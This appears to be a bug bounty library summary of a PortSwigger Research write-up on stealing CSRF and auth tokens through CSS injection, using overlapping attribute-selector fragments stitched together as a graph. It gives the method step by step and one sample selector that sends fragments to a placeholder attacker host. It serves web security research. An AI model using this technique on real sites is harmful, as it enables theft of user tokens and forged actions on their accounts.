# Smashing the token limit with overlapping fragments

CSS-injection token exfiltration improved: overlapping 3-6 char fragment selectors plus a graph-stitching script recover tokens up to 640 chars from one stylesheet, no recursive imports.

- Payout: Research
- Program: CSS injection
- Write-up by: PortSwigger Research
- Disclosed: 2026-10-05
- Write-up quality: 8/10
- Original: https://portswigger.net/research/smashing-the-token-limit
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-smashing-the-token-limit
- Tags: area:web domain:web impact:data-leak kind:research platform:research technique:chained technique:oob-exfil vuln:info-disclosure vuln:xs-leak

**Target:** CSS injection point (POST param q) leaking CSRF/auth tokens from page attributes
**Root cause:** CSS attribute selectors can report presence of short substrings of a secret token; overlapping fragments can be stitched into the full token via a graph of shared characters, so recursive imports aren't needed.
**Steps:**
1. Inject a stylesheet via the CSS injection point (e.g. `q` POST param) containing attribute selectors like `input[value*="c2e"]{background:url(//attacker/c2e)}` for each candidate chunk.
2. Use 3-char chunks for most joins, falling back to 2-char checks for groups e/f to save rules; add 4-char checks for selected first-character groups to disambiguate joins.
3. Collect which chunks fired (each reported once, no position).
4. Run stitching script: build graph where chunk `c2e` is edge c2→2e; use reported start/end fragments and token length to enumerate all routes.
5. Count all candidate tokens fitting the graph; if ≤1 (or ≤5) candidates, token recovered.
6. For long tokens use 5-char chunks plus 6-char checks for a-d groups within ~257MB CSS budget.
**How found:** Alex studied Gareth's slides showing start/end/middle fragment approach, hypothesized collecting many short overlapping fragments and joining them as a graph (edges between adjacent character pairs), then built a randomized-URL harness to measure candidate counts and tune which chunk-length checks to include.
**Exploitation:** Attacker with a CSS injection (e.g. reflected in a style context) loads a large generated stylesheet; browser requests attacker URLs for each matching chunk, leaking which fragments exist; offline stitching reconstructs the CSRF/auth token, enabling request forgery/account actions.
**Escalation:** Scaling token length from 12 to 640 chars by spending the same CSS byte budget on 5/6-char overlapping chunks instead of recursive imports; adapting chunk size to alphabet (2-char for 62-char alphanumeric).
**Insight:** When a side channel only reveals substring presence without position, model fragments as edges in a de Bruijn-style graph and enumerate all Eulerian-ish routes; add selective longer-fragment checks only for ambiguous joins to keep payload size down.
